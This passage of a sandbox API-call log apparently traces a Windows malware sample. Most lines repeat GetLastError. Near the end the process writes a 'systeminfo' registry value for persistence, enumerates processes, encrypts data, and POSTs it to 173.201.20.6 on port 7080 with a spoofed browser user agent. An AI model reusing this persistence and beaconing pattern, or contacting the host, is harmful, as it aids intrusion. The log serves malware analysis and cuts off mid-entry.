0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.593] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.594] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.595] GetLastError () returned 0x0 [0078.596] GetLastError () returned 0x0 [0078.596] GetLastError () returned 0x0 [0078.596] GetLastError () returned 0x0 [0078.596] GetLastError () returned 0x0 [0078.596] GetLastError () returned 0x0 [0078.596] GetLastError () returned 0x0 [0078.596] GetLastError () returned 0x0 [0078.596] GetLastError () returned 0x0 [0078.598] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x2f1fce0, lpdwBufferLength=0x2f1fc38, lpdwIndex=0x0 | out: lpBuffer=0x2f1fce0*, lpdwBufferLength=0x2f1fc38*=0x4, lpdwIndex=0x0) returned 1 [0078.598] GetCurrentProcessId () returned 0x81c [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.598] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.599] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.600] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.601] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.602] GetLastError () returned 0x0 [0078.604] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x2f1fc28, lpdwBufferLength=0x2f1fc30, lpdwIndex=0x0 | out: lpBuffer=0x2f1fc28*, lpdwBufferLength=0x2f1fc30*=0x4, lpdwIndex=0x0) returned 1 [0078.604] lstrlenA (lpString="just string") returned 11 [0078.604] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0078.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x403cd8, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x403cd8*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x94) returned 1 [0078.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x403d6c, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x403d6c*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x0) returned 1 [0078.604] GetLastError () returned 0x0 [0078.604] GetCurrentProcessId () returned 0x81c [0078.604] GetCurrentProcessId () returned 0x81c [0078.604] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0078.604] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db628, Final=1, dwFlags=0x0, pbData=0x40cc58, pdwDataLen=0x2f1fcfc | out: pbData=0x40cc58, pdwDataLen=0x2f1fcfc) returned 1 [0078.604] CryptVerifySignatureW (hHash=0x3db628, pbSignature=0x403cd8, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0078.604] CryptDestroyHash (hHash=0x3db628) returned 1 [0078.604] lstrlenA (lpString="just string") returned 11 [0078.604] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0078.605] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.605] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0078.605] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.605] RegSetValueExW (in: hKey=0x3fc, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0078.605] RegCloseKey (hKey=0x3fc) returned 0x0 [0078.605] GetCurrentProcessId () returned 0x81c [0078.994] GetTickCount () returned 0x22c4d [0078.994] GetCurrentProcessId () returned 0x81c [0078.994] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2f1faf8, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0078.994] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0078.994] GetCurrentProcessId () returned 0x81c [0078.994] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3fc [0078.996] lstrlenA (lpString="just string") returned 11 [0078.996] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0078.996] Process32FirstW (in: hSnapshot=0x3fc, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0078.996] GetLastError () returned 0x0 [0078.996] GetCurrentProcessId () returned 0x81c [0078.996] GetCurrentProcessId () returned 0x81c [0079.010] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0079.010] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db628, Final=1, dwFlags=0x0, pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x246, dwBufLen=0x250 | out: pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x250) returned 1 [0079.010] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x2f1fbb4, pdwDataLen=0x2f1fc20 | out: pbData=0x2f1fbb4*, pdwDataLen=0x2f1fc20*=0x6c) returned 1 [0079.010] CryptGetHashParam (in: hHash=0x3db628, dwParam=0x2, pbData=0x33b60a8, pdwDataLen=0x2f1fc20, dwFlags=0x0 | out: pbData=0x33b60a8, pdwDataLen=0x2f1fc20) returned 1 [0079.010] CryptDestroyHash (hHash=0x3db628) returned 1 [0079.010] lstrlenA (lpString="just string") returned 11 [0079.010] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0079.011] GetLastError () returned 0x0 [0079.011] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x2f1fa28, cbSize=0x2f1fc28 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x2f1fc28) returned 0x0 [0079.011] GetCurrentProcessId () returned 0x81c [0079.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2f1fa28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0079.011] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0079.011] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0079.011] GetCurrentProcess () returned 0xffffffff [0079.011] GetLastError () returned 0x0 [0079.011] wsprintfA (in: param_1=0x2f1fb8f, param_2="%X%P" | out: param_1="741B75P") returned 7 [0079.011] SetLastError (dwErrCode=0x0) [0079.011] GetCurrentProcessId () returned 0x81c [0079.011] GetLastError () returned 0x0 [0079.011] wsprintfA (in: param_1=0x2f1fb83, param_2="%X%P" | out: param_1="741B76P") returned 7 [0079.011] SetLastError (dwErrCode=0x0) [0079.011] GetCurrentProcessId () returned 0x81c [0079.011] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0079.013] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x33b6048*, dwOptionalLength=0x2c4 | out: lpOptional=0x33b6048*) returned 1 [0079.573] GetLastError () returned 0x0 [0079.573] GetLastError () returned 0x0 [0079.573] GetLastError () returned 0x0 [0079.573] GetLastError () returned 0x0 [0079.573] GetLastError () returned 0x0 [0079.573] GetLastError () returned 0x0 [0079.573] GetLastError () returned 0x0 [0079.573] GetLastError () returned 0x0 [0079.573] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.574] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.575] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.576] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.577] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] GetLastError () returned 0x0 [0079.578] 